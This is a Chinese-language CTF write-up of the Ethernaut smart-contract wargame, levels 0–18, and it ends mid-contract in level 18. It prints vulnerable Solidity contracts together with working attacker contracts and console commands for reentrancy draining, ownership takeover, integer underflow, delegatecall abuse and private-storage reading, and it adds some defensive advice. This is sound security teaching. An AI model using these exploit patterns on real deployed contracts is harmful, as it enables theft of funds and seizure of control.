Ethernaut

#blockchain #smart contract #solidity #metamask #remix #web3

0. Hello Ethernaut¶

登录 MetaMask，将 MetaMask 切换到 Goerli 测试网络
- 若没有则需要在 设置->高级 中开启「Show test networks」
在浏览器的控制台可以收到一些消息，其中一条为玩家地址
- 可以使用 player 命令随时查看玩家地址，MetaMask 也可以直接复制
查看当前余额：getBalance(player)
- 如果显示 pending，可改用 await getBalance(player) 来获得清晰的结果
```
>> await getBalance(player)
"0"
```
在控制台输入 ethernaut 查看游戏的主要合约
- 合约的 ABI（Application Binary Interfaces）提供了所有 Ethernaut.sol 的公开方法，如所有者，可通过 ethernaut.owner() 查看
- 并不需要直接与 Ethernaut.sol 合约交互，而是通过关卡实例
获取测试用以太币用于支付汽油费：1 / 2 / 3 / 4
点击「Get new instance」并在 MetaMask 授权交易

查看合约信息并根据提示交互

>> await contract.info()
"You will find what you need in info1()."
>> await contract.info1()
"Try info2(), but with \"hello\" as a parameter."
>> await contract.info2("hello")
"The property infoNum holds the number of the next info method to call."
>> await contract.infoNum()
{
  "negative": 0,
  "words": [
    42,
    null
  ],
  "length": 1,
  "red": null
}
>> await contract.info42()
"theMethodName is the name of the next method."
>> await contract.theMethodName()
"The method name is method7123949."
>> await contract.method7123949()
"If you know the password, submit it to authenticate()."
>> await contract.password()
"ethernaut0"
>> await contract.authenticate("ethernaut0")
// MetaMask 授权交易，等待确认
>> await contract.getCleared()
true

查看合约所有 ABI：contract.abi
完成后点击「Submit instance」验证

1. Fallback¶

阅读合约代码并达成以下目标：

获得合约的所有权
将其余额减为 0

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

// Arithmetic operations revert on underflow and overflow
// no need to use SafeMath after v0.8.0
contract Fallback {

  mapping(address => uint) public contributions;
  address public owner;

  constructor() { // 构造函数
    owner = msg.sender; // 所有者为当前调用
    contributions[msg.sender] = 1000 * (1 ether);
  }

  modifier onlyOwner {
        require(
            msg.sender == owner,
            "caller is not the owner"
        );
        _;  // only used inside a function modifier and it tells Solidity to execute the rest of the code.
    }

  function contribute() public payable {
    // msg.value - 随消息发送的 wei 的数量
    require(msg.value < 0.001 ether);
    contributions[msg.sender] += msg.value;
    // 每次转账不能超过 0.001 以太币，想要超过原 owner 的 1000 以太币
    // 需要重复调用多次 contribute 函数，且测试账户也没有那么多以太币，显然不太现实
    if(contributions[msg.sender] > contributions[owner]) {
      owner = msg.sender;
    }
  }

  function getContribution() public view returns (uint) {
    return contributions[msg.sender];
  }

  function withdraw() public onlyOwner {
    payable(owner).transfer(address(this).balance); // 合约所有者才能将账户余额清零
  }

  // 一个合约最多能有一个 receive 函数，不能有参数和返回值
  // 必须声明 external 和 payable
  // 当调用合约的 data 域为空时，将会执行；如果没有 receive 函数，将尝试 fallback 函数
  receive() external payable {
    require(msg.value > 0 && contributions[msg.sender] > 0);
    owner = msg.sender;
  }
}

注意到若当前交易转账金额大于 0 且调用者贡献不为 0 时，可以通过 receive 函数取得合约所有权

首先通过 contribute 使贡献值大于 0

>> await contract.contribute({value:1})

向合约转账触发 receive 函数，执行完成后确认一下所有者

>> await contract.send(1)
// 或
>> await contract.sendTransaction({value:1})  // 发起一个交易

>> await contract.owner()

清空合约账户的余额
```
>> await contract.withdraw()
```

参考资料¶

2. Fallout¶

声明合约的所有权

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract Fallout {

  using SafeMath for uint256;
  mapping (address => uint) allocations;
  address payable public owner;

  /* constructor */
  function Fal1out() public payable {
    owner = msg.sender;
    allocations[owner] = msg.value;
  }
  // 在 v0.4.22 前，构造函数是和合约同名的函数（v0.5.0 弃用）

  modifier onlyOwner {
            require(
                msg.sender == owner,
                "caller is not the owner"
            );
            _;
        }

  function allocate() public payable {
    allocations[msg.sender] = allocations[msg.sender].add(msg.value);
  }

  function sendAllocation(address payable allocator) public {
    require(allocations[allocator] > 0);
    allocator.transfer(allocations[allocator]);
  }

  function collectAllocations() public onlyOwner {
    msg.sender.transfer(address(this).balance);
  }

  function allocatorBalance(address allocator) public view returns (uint) {
    return allocations[allocator];
  }
}

被注释为「构造函数」的函数名为 Fal1out 而不是 Fallout 意味着该函数只是普通函数可以被调用

真正的构造函数只在合约创建时调用一次

>> await contract.Fal1out()

参考资料¶

Constructors

3. Coin Flip¶

需要连续猜对 10 次掷硬币的结果

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract CoinFlip {

  uint256 public consecutiveWins;
  uint256 lastHash;
  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

  constructor() {
    consecutiveWins = 0;
  }

  function flip(bool _guess) public returns (bool) {
    // block.number - 当前区块号
    uint256 blockValue = uint256(blockhash(block.number - 1));

    if (lastHash == blockValue) {
      revert(); // 无条件抛出异常
    }

    lastHash = blockValue;
    uint256 coinFlip = blockValue / FACTOR;  // 向下取整
    bool side = coinFlip == 1 ? true : false;

    if (side == _guess) {
      consecutiveWins++;
      return true;
    } else {
      consecutiveWins = 0;
      return false;
    }
  }
}

实际上 side 的值并非随机，区块号、区块哈希等都是公开可获取的
可以由另一个合约计算掷硬币的结果，并调用 flip 函数

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

// 把需要调用的合约放在同一个文件
contract CoinFlip {

  uint256 public consecutiveWins;
  uint256 lastHash;
  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

  constructor() {
    consecutiveWins = 0;
  }

  function flip(bool _guess) public returns (bool) {
    uint256 blockValue = uint256(blockhash(block.number - 1));

    // 当前区块号不能等于上一区块号，意味着不能使用循环重复调用 flip
    if (lastHash == blockValue) {
      revert();
    }

    lastHash = blockValue;
    uint256 coinFlip = blockValue / FACTOR;
    bool side = coinFlip == 1 ? true : false;

    if (side == _guess) {
      consecutiveWins++;
      return true;
    } else {
      consecutiveWins = 0;
      return false;
    }
  }
}

contract hack {
    uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
    CoinFlip coin;

    constructor(address instance) {
        coin = CoinFlip(instance);
    }

    function exploit() public {
        uint256 blockValue = uint256(blockhash(block.number - 1));
        uint256 coinFlip = blockValue / FACTOR;
        bool side = coinFlip == 1 ? true : false;
        coin.flip(side);
    }
}

使用 Remix 部署合约

部署合约

执行 10 次 exploit 函数

掷硬币 XD

可以使用 Chainlink VRF 来获得安全的随机数

参考资料¶

Deploy & Run — Remix - Ethereum IDE 1 documentation

4. Telephone¶

声明合约的所有权

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Telephone {

  address public owner;

  constructor() public {
    owner = msg.sender;
  }

  function changeOwner(address _owner) public {
    // tx.origin - 交易的发起者
    if (tx.origin != msg.sender) {
      owner = _owner;
    }
  }
}

用户通过合约 A 调用合约 B
- 对于合约 A：tx.origin 和 msg.sender 都是用户
- 对于合约 B：tx.origin 是用户，msg.sender 是合约 A
当交易发起者的地址与当前调用者的地址不相同时，可以更新合约所有者，显然需要通过另一个合约来调用 changeOwner

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Telephone {

  address public owner;

  constructor() {
    owner = msg.sender;
  }

  function changeOwner(address _owner) public {
    if (tx.origin != msg.sender) {
      owner = _owner;
    }
  }
}

contract Hack {

  Telephone tele;

  constructor(address instance) {
    tele = Telephone(instance);
  }

  function exploit() public {
    tele.changeOwner(msg.sender);
  }
}

5. Token¶

增加手中 token 的数量，越多越好（初始 20 个）

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Token {

  // 无符号整数类型
  mapping(address => uint) balances;
  uint public totalSupply;

  constructor(uint _initialSupply) public {
    balances[msg.sender] = totalSupply = _initialSupply;
  }

  function transfer(address _to, uint _value) public returns (bool) {
    require(balances[msg.sender] - _value >= 0);
    // 会发生整数溢出，未使用 SafeMath 检查
    balances[msg.sender] -= _value;
    balances[_to] += _value;
    return true;
  }

  function balanceOf(address _owner) public view returns (uint balance) {
    return balances[_owner];
  }
}

通过下溢出来获得 token

// 转给除自己外的任意地址
// 转给自己的话，就先下溢出再上溢出了...
>> await contract.transfer(<address>, 21)

6. Delegation¶

声明对合约实例的所有权

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Delegate {

  address public owner;

  constructor(address _owner) {
    owner = _owner;
  }

  function pwn() public {
    owner = msg.sender;
  }
}

contract Delegation {

  address public owner;
  Delegate delegate;

  constructor(address _delegateAddress) {
    delegate = Delegate(_delegateAddress);
    owner = msg.sender;
  }

  // 没有 payable，不能使用转账来触发 fallback
  // 同时，通过转账来触发 fallback 函数不能加任何 data
  fallback() external {
    (bool result,) = address(delegate).delegatecall(msg.data);
    if (result) {
      this;
    }
  }
}

代理调用只使用给定地址的代码，其他属性都取自当前合约
使用合约 Delegate 的 pwn 函数来修改合约 Delegation 的所有者
除了向合约转账会触发 fallback 函数外，若被调用的函数不存在同样会触发

调用 Delegation 不存在的函数 pwn 来触发 fallback 函数，从而执行真正的 pwn 函数

// keccak256 即 sha3
>> await contract.sendTransaction({data: web3.utils.sha3("pwn()")})
>> await contract.owner()

代理调用功能强大且危险，慎用 👀

参考资料¶

7. Force¶

使合约的余额大于 0

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Force {/*

                   MEOW ?
         /\_/\   /
    ____/ o o \
  /~____  =ø= /
 (______)__m_m)

*/}

当合约自毁时，合约余额将转给指定目标
- 即使合约代码不包含 selfdestruct 的调用，仍然可以通过 delegatecall 或 callcode 来执行自毁操作

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Hack {

  function pay() public payable {}

  function exploit(address instance) public {
    // 声明 payable 的函数和地址都可以接受转账
    selfdestruct(payable(instance));
  }
}

在 Remix 向合约 Hack 转账

先填写 value，再点击 pay

如果合约中包含声明了 payable 的 receive 或 fallback 函数，也可以在填写完 VALUE 后直接点击「Transact」；或通过声明了 payable 的构造函数，在创建合约时转账
通过自毁的转账方式无法阻止，因此任何合约逻辑都不应基于 address(this).balance == 0

参考资料¶

8. Vault¶

解锁保险柜

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Vault {
  bool public locked;
  bytes32 private password;

  constructor(bytes32 _password) {
    locked = true;
    password = _password;
  }

  function unlock(bytes32 _password) public {
    if (password == _password) {
      locked = false;
    }
  }
}

猜密码是不可能猜的~ XD
区块链上所有信息都是公开的，包括声明为 private 的变量
合约中的变量按照定义的顺序存储在 slot 中

// 首先确定变量定义的顺序，第一个变量存储在 slot 0，第二个变量存储在 slot 1，以此类推
>> await web3.eth.getStorageAt(instance, 1)
"0x412076657279207374726f6e67207365637265742070617373776f7264203a29"
>> web3.utils.toAscii("0x412076657279207374726f6e67207365637265742070617373776f7264203a29")
"A very strong secret password :)"
>> await contract.unlock("0x412076657279207374726f6e67207365637265742070617373776f7264203a29")

将变量声明为 private 只能防止其它合约访问
为了保证数据的机密性，应在上链前加密，密钥绝对不能公开。zk-SNARKs 提供了一种在不暴露秘密信息的情况下，证明某人是否持有秘密信息的方法

参考资料¶

Crypto Market Pool - Access private data on the Ethereum blockchain

9. King¶

阻止关卡实例在提交后重新声明国王身份

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract King {

  address king;
  uint public prize;
  address public owner;

  constructor() payable {
    owner = msg.sender;  
    king = msg.sender;
    prize = msg.value;
  }

  receive() external payable {
    // 即使转账金额小于 prize，合约的所有者也可以声明国王身份
    require(msg.value >= prize || msg.sender == owner);
    // 当前的转账金额会转给上一任国王
    payable(king).transfer(msg.value);
    king = msg.sender;
    prize = msg.value;  // 更新 prize
  }

  function _king() public view returns (address) {
    return king;
  }
}

当 transfer 执行失败时，会抛出异常，交易回滚，关卡实例就无法再声明国王身份了

查看当前最高金额

>> web3.utils.toWei(web3.utils.fromWei(await contract.prize()))
"1000000000000000"

新建合约，用于声明国王身份，并阻止关卡实例再成为国王

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Hack {

  constructor() payable {}

  function exploit(address instance) public {
    payable(instance).call{value: 0.001 * (1 ether)}("");  // 汽油量一定要给足！
    // 不能使用 transfer/send，默认 2300 汽油费不足以支撑后续操作
  }

  receive() external payable {
    revert(); // 使 king.transfer 无法成功执行
  }

}

10. Re-entrancy¶

窃取合约所有的💰

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract Reentrance {

  using SafeMath for uint256;
  mapping(address => uint) public balances;

  function donate(address _to) public payable {
    balances[_to] = balances[_to].add(msg.value);
  }

  function balanceOf(address _who) public view returns (uint balance) {
    return balances[_who];
  }

  // 利用先转再减
  function withdraw(uint _amount) public {
    if(balances[msg.sender] >= _amount) {
      (bool result,) = msg.sender.call{value:_amount}("");
      if(result) {
        _amount;
      }
      balances[msg.sender] -= _amount;
    }
  }

  receive() external payable {}
}

在接收合约的 fallback 函数中再调用 withdraw 函数

先看看合约的初始资金

>> await web3.eth.getBalance(instance)
"1000000000000000"

计划分 9 次取完（也可以多捐赠，减少取出次数）

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;

import 'https://github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v3.0.0/contracts/math/SafeMath.sol';

contract Reentrance {

  using SafeMath for uint256;
  mapping(address => uint) public balances;

  function donate(address _to) public payable {
    balances[_to] = balances[_to].add(msg.value);
  }

  function balanceOf(address _who) public view returns (uint balance) {
    return balances[_who];
  }

  function withdraw(uint _amount) public {
    if(balances[msg.sender] >= _amount) {
      (bool result,) = msg.sender.call{value:_amount}("");
      if(result) {
        _amount;  // does nothing
      }
      balances[msg.sender] -= _amount;
    }
  }

  receive() external payable {}
}

contract Hack {

  Reentrance reentrance;

  function exploit(address payable instance) public {
    reentrance = Reentrance(instance);
    reentrance.withdraw(125000000000000);
  }

  receive() external payable {
    if (msg.sender.balance >= msg.value && gasleft() > 6000) {
      reentrance.withdraw(125000000000000);
    }
  }

}

合约 Hack 部署完成后，进行「捐赠」

>> await contract.donate("<hack-address>", {value: 125000000000000});
>> web3.utils.fromWei(await contract.balanceOf("<hack-address>"))
"0.000125"

随后开始「盗钱」，务必给足汽油 :) > 本次汽油量参考：200,000 | 156,169 (78.08%)
不推荐使用 transfer 和 send 来代替 call，可能影响 Istanbul 硬分叉之后的合约（部分指令消耗汽油量增加）
永远假设转账的接收方是另一个合约，而非普通的地址

11. Elevator¶

到达顶层！

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface Building {
  function isLastFloor(uint) external returns (bool);
}

contract Elevator {
  bool public top;
  uint public floor;

  function goTo(uint _floor) public {
    Building building = Building(msg.sender);

    if (! building.isLastFloor(_floor)) { // 第一次返回 false
      floor = _floor;
      top = building.isLastFloor(floor);  // 第二次返回 true
    }
  }
}

Interface 内部不能实现任何函数，但可以继承自其它接口，所有声明的函数必须是外部的，不能声明构造函数和状态变量
「电梯应该在建筑里」，实现这个 Building 合约就好啦 >_<

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Building {
  bool public flag = true;

  function isLastFloor(uint) external returns (bool) {
    flag = !flag;
    return flag;
  }

  function exploit(address instance) public {
    Elevator elevator = Elevator(instance);
    elevator.goTo(1);
  }
}

contract Elevator {
  bool public top;
  uint public floor;

  function goTo(uint _floor) public {
    Building building = Building(msg.sender);

    if (! building.isLastFloor(_floor)) {
      floor = _floor;
      top = building.isLastFloor(floor);
    }
  }
}

接口函数可以通过声明 view 来防止状态被篡改，pure 同理
在不改变状态的情况下，可以根据不同的输入数据来返回不同的结果，如 gasleft()

参考资料¶

12. Privacy¶

解锁！(Vault 升级版)

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Privacy {
  // slot 0
  bool public locked = true;

  // slot 1
  uint256 public ID = block.timestamp;  // uint256 is 32 bytes long

  // slot 2
  uint8 private flattening = 10;
  uint8 private denomination = 255;
  uint16 private awkwardness = uint16(now);

  // slot 3, 4, 5
  bytes32[3] private data;

  constructor(bytes32[3] memory _data) {
    data = _data;
  }

  function unlock(bytes16 _key) public {
    require(_key == bytes16(data[2]));
    locked = false;
  }

  /*
    A bunch of super advanced solidity algorithms...

      ,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`
      .,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,
      *.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^         ,---/V\
      `*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.    ~|__(o.o)
      ^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'  UU  UU
  */
}

每个 slot 大小为 32 字节，当邻近变量也能够放进单个 slot 时，将按从右到左的顺序依次放入
常量不存储

>> await web3.eth.getStorageAt(instance, 0)
"0x0000000000000000000000000000000000000000000000000000000000000001"
>> await web3.eth.getStorageAt(instance, 1)
"0x000000000000000000000000000000000000000000000000000000006210d5b1"
>> await web3.eth.getStorageAt(instance, 2)
"0x00000000000000000000000000000000000000000000000000000000d5b1ff0a" // 0a for flattening, ff for denomination
>> await web3.eth.getStorageAt(instance, 3)
"0xc3003c2bcb65196b8352fb925d945f9229929bcc727f70ea451255859a6a4f56"
>> await web3.eth.getStorageAt(instance, 4)
"0x6d6f76ea288ee9c55ab1ad76264518237a23af3495ee5702f57a164f8aeb99b0"
>> await web3.eth.getStorageAt(instance, 5)
"0x06e3eb3b9e34467cbf1a226fc2bd13e5948a7a15ef2205caf186fa3df3076f53"  // data[2]

由于 _key 为 bytes16 类型，需要对 data[2] 进行类型转换

// 从 bytes32 到 bytes16，只需要移走右侧的 16 字节，即 32 位十六进制数
>> await contract.unlock("0x06e3eb3b9e34467cbf1a226fc2bd13e5")

参考资料¶

Accessing Private Data | Solidity by Example

13. Gatekeeper One¶

越过守门人并注册为新成员

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract GatekeeperOne {

  address public entrant;

  modifier gateOne() {
    require(msg.sender != tx.origin);
    _;
  }

  modifier gateTwo() {
    require(gasleft() % 8191 == 0);
    _;
  }

  modifier gateThree(bytes8 _gateKey) {
      // uint64 is 8 bytes long
      // _gateKey % 2^32 == _gateKey % 2^16
      require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
      // _gateKey % 2^32 != _gateKey
      require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
      // _gateKey % 2^32 == tx.origin % 2^16
      require(uint32(uint64(_gateKey)) == uint16(uint160(tx.origin)), "GatekeeperOne: invalid gateThree part three");
    _;
  }

  function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
    entrant = tx.origin;
    return true;
  }
}

使用与 Telephone 相同的方式通过 gateOne
至于 gateTwo，在 Remix 的 JavaScript VM 环境下通过 Debug 来获取具体所需汽油量
- 注意：不同版本的 EVM 或编译器都会导致不同的汽油消耗量
- 首先选择一个较大的汽油量，如 90000
- 执行完成后，进入 DEBUGGER，执行完操作码 GAS，此时剩余的汽油量为 89577
- 由此可计算出通过 gateTwo 实际需要的最少汽油量：\(90000-89577+8191\times 3=24996\)
  - entrant = tx.origin 包含 SSTORE 操作码，因为 entrant 未被写入过，至少需要消耗 20000 汽油
- 在 Goerli 测试网络中运行时会抛出异常，再次调试，观察栈中出现 0x1fff(8191) 的下一个数字，为 0x60a4(24740)，得出最终需要的汽油量为：\(24996-24740+8191\times 3=24829\)
对于 gateThree，用 \(A_0A_1...A_7\) 来表示 _gateKey 的各个字节
- part one 需满足 \(A_4A_5A_6A_7 = A_6A_7\)
- part two 需满足 \(A_4A_5A_6A_7 \neq A_0A_1...A_7\)
- part three 需满足 \(A_4A_5A_6A_7 = B_6B_7\) （视作 tx.origin 后两个字节）
- 也就是说，_gateKey 只需要后两个字节与 tx.origin 一致，倒数三四字节为 \(0\)，剩下四个字节不为 \(0\) 就可以了 >v<

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract GatekeeperOne {

  address public entrant;

  modifier gateOne() {
    require(msg.sender != tx.origin);
    _;
  }

  modifier gateTwo() {
    require(gasleft() % 8191 == 0);
    _;
  }

  modifier gateThree(bytes8 _gateKey) {
      require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
      require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
      require(uint32(uint64(_gateKey)) == uint16(uint160(tx.origin)), "GatekeeperOne: invalid gateThree part three");
    _;
  }

  function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
    entrant = tx.origin;
    return true;
  }
}

contract Hack {
  function exploit(address instance) public {
    GatekeeperOne gk = GatekeeperOne(instance);
    bytes8 _gateKey = bytes8(uint64(uint160(tx.origin)) & 0xff0000ffff);
    gk.enter{gas: 24829}(_gateKey);
  }
}

参考资料¶

14. Gatekeeper Two¶

通过新的挑战！

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract GatekeeperTwo {

  address public entrant;

  modifier gateOne() {
    require(msg.sender != tx.origin);
    _;
  }

  modifier gateTwo() {
    uint x;
    assembly { x := extcodesize(caller()) } // 内联汇编
    // caller() - call sender (excluding delegatecall)
    // extcodesize(a) - size of the code at address a
    require(x == 0);
    _;
  }

  modifier gateThree(bytes8 _gateKey) {
    require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == type(uint64).max);
    _;
  }

  function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
    entrant = tx.origin;
    return true;
  }
}

gateTwo 需要调用合约的代码长度为 0，与解题矛盾。ETHEREUM: A SECURE DECENTRALISED GENERALISED TRANSACTION LEDGER 中提到，在代码初始化时，对应地址的 EXTCODESIZE 应返回 0，那么只需要在构造函数里调用 enter 就可以了
至于 gateThree，使用异或逆运算求解就好啦

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract GatekeeperTwo {

  address public entrant;

  modifier gateOne() {
    require(msg.sender != tx.origin);
    _;
  }

  modifier gateTwo() {
    uint x;
    assembly { x := extcodesize(caller()) }
    require(x == 0);
    _;
  }

  modifier gateThree(bytes8 _gateKey) {
    require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == type(uint64).max);
    _;
  }

  function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
    entrant = tx.origin;
    return true;
  }
}

contract Hack {

  constructor(address instance) {
    GatekeeperTwo gk = GatekeeperTwo(instance);
    gk.enter(bytes8(uint64(bytes8(keccak256(abi.encodePacked(address(this))))) ^ (type(uint64).max)));
  }
}

参考资料¶

Inline Assembly

15. Naught Coin¶

取出被锁住的硬币，清空自己的余额

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import '@openzeppelin/contracts/token/ERC20/ERC20.sol';

contract NaughtCoin is ERC20 { // 基于 ERC20

  // string public constant name = 'NaughtCoin';
  // string public constant symbol = '0x0';
  // uint public constant decimals = 18;
  uint public timeLock = block.timestamp + 10 * 365 days;
  uint256 public INITIAL_SUPPLY;
  address public player;

  constructor(address _player) 
  ERC20('NaughtCoin', '0x0') {
    player = _player;
    INITIAL_SUPPLY = 1000000 * (10**uint256(decimals()));
    // _totalSupply = INITIAL_SUPPLY;
    // _balances[player] = INITIAL_SUPPLY;
    _mint(player, INITIAL_SUPPLY); // Creates INITIAL_SUPPLY tokens and assigns them to player
    emit Transfer(address(0), player, INITIAL_SUPPLY);
  }

  function transfer(address _to, uint256 _value) override public lockTokens returns(bool) {
    // super 继承直接父合约的 transfer 函数
    super.transfer(_to, _value);  // 将调用者 _value 数量的金额转移给 _to
  }

  // Prevent the initial owner from transferring tokens until the timelock has passed
  modifier lockTokens() {
    if (msg.sender == player) {
      require(block.timestamp > timeLock);
      _;
    } else {
     _;
    }
  }
}

lockTokens 限制了 player，而被覆写的 transfer 只能由持有货币的账户发起转账
NaughtCoin 合约是 ERC20 的子合约，在合约 ERC20 中除了定义 transfer 还有 transferFrom 函数，由此可以绕过 lockTokens 的限制
```
transferFrom(address sender, address recipient, uint256 amount) → bool
```

在调用 transferFrom 之前需要取得 msg.sender 的授权

>> await contract.approve(player, await contract.INITIAL_SUPPLY())

发起转账

>> await contract.transferFrom(player, instance, await contract.INITIAL_SUPPLY())

参考资料¶

ERC 20 - OpenZeppelin Docs

16. Preservation¶

声明对实例的所有权

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Preservation {

  // public library contracts 
  address public timeZone1Library;
  address public timeZone2Library;
  address public owner; 
  uint storedTime;
  // Sets the function signature for delegatecall
  bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));

  constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) {
    timeZone1Library = _timeZone1LibraryAddress; 
    timeZone2Library = _timeZone2LibraryAddress; 
    owner = msg.sender;
  }

  // set the time for timezone 1
  function setFirstTime(uint _timeStamp) public {
    timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
  }

  // set the time for timezone 2
  function setSecondTime(uint _timeStamp) public {
    timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
  }
}

// Simple library contract to set the time
contract LibraryContract {

  // stores a timestamp 
  uint storedTime;  

  function setTime(uint _time) public {
    storedTime = _time; // 修改了第一个状态变量
  }
}

delegatecall 只使用给定地址的代码，其他属性（存储、余额等）都取自当前合约，因此，调用 delegatecall 合约的存储布局必须和被调用合约保持一致
先利用 setFirstTime 修改合约 Preservation 的第一个状态变量，即 timeZone1Library 的值为合约 Hack 的地址，再调用 setFirstTime 函数，此时将执行合约 Hack 中的代码
- timeZone1Library 如果修改错误则无法进行后续步骤，此时再重新申请一个实例

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Preservation {

  address public timeZone1Library;
  address public timeZone2Library;
  address public owner; 
  uint storedTime;
  bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));

  constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) {
    timeZone1Library = _timeZone1LibraryAddress; 
    timeZone2Library = _timeZone2LibraryAddress; 
    owner = msg.sender;
  }

  function setFirstTime(uint _timeStamp) public {
    timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
  }

  function setSecondTime(uint _timeStamp) public {
    timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
  }
}

contract LibraryContract {

  uint storedTime;  

  function setTime(uint _time) public {
    storedTime = _time;
  }
}

contract Hack {
  // Make sure the storage layout is the same as Preservation
  // This will allow us to correctly update the state variables
  address public timeZone1Library;
  address public timeZone2Library;
  address public owner; 
  uint storedTime;

  Preservation preservation;

  constructor(address instance) {
      preservation = Preservation(instance);
  }

  function attack() public {
      // override address of timeZone1Library
      preservation.setFirstTime(uint(uint160(address(this))));
      // change the owner
      preservation.setFirstTime(1);
  }

  // function signature must match LibraryContract.setTimeSignature
  function setTime(uint _time) public {
      owner = tx.origin;
      _time;
  }
}

库应使用 library 来声明
library 与 contract 类似，但不能声明任何状态变量或向其发送以太

参考资料¶

17. Recovery¶

从遗失的合约地址中找回 0.5 以太

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Recovery {

  //generate tokens
  function generateToken(string memory _name, uint256 _initialSupply) public {
    new SimpleToken(_name, msg.sender, _initialSupply);
  }

}

contract SimpleToken {

  string public name;
  mapping (address => uint) public balances;

  // constructor
  constructor(string memory _name, address _creator, uint256 _initialSupply) {
    name = _name;
    balances[_creator] = _initialSupply;
  }

  // collect ether in return for tokens
  receive() external payable {
    balances[msg.sender] = msg.value * 10;
  }

  // allow transfers of tokens
  function transfer(address _to, uint _amount) public { 
    require(balances[msg.sender] >= _amount);
    balances[msg.sender] = balances[msg.sender] - _amount;
    balances[_to] = _amount;
  }

  // clean up after ourselves
  function destroy(address payable _to) public {
    selfdestruct(_to);
  }
}

已知合约 Recovery 的地址，需要恢复其中创建的合约 SimpleToken 里的以太，但合约 SimpleToken 创建后没有赋值给变量
不过信息都是公开的嘛！使用合约 Recovery 的地址在 Etherscan 找到交易信息，其中就包括合约创建 ΦωΦ 合约 SimpleToken 实例的地址 GET ✔️
在 Remix 添加合约 SimpleToken 的源码，通过 At Address 引用合约
接下来调用 destroy 函数就可以取回以太啦 XD

实际上，合约地址都是确定性的，通过合约创建者（sender）的地址 address 以及由创建者发起的交易的数量 nonce 计算获得

根据 EIP 161，初始 nonce 为 \(1\)

import rlp
from eth_utils import keccak, to_checksum_address, to_bytes

def mk_contract_address(sender: str, nonce: int) -> str:
  """
  Create a contract address using eth-utils.
  """
  sender_bytes = to_bytes(hexstr=sender)
  address_bytes = keccak(rlp.encode([sender_bytes, nonce]))[12:]
  return to_checksum_address(address_bytes)

mk_contract_address(to_checksum_address("0x518C2143bDd79d3bc060BC4883d92D545D3E3bb0"), 1)
# 0x53D144BcF44de3DeE630b1CFEabD91AC3d3caF5a

因此，可以将以太币发送到预确定的地址，随后在指定地址创建合约来恢复以太币，实现无私钥保存以太币

参考资料¶

18. MagicNumber¶

部署合约 Solver，包含函数 whatIsTheMeaningOfLife()，需要返回正确的数，即 42
代码最多只能包含 10 个操作码，可能需要人工编写 EVM 字节码 😱

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract MagicNum {

  address public solver;

  constructor() {}

  function setSolver(address _solver) public {
    solver = _solver;
  }

  /*
    ____________/\\\_______/\\\\\\\\\_____        
     __________/\\\\\_____/\\\///////\\\___       
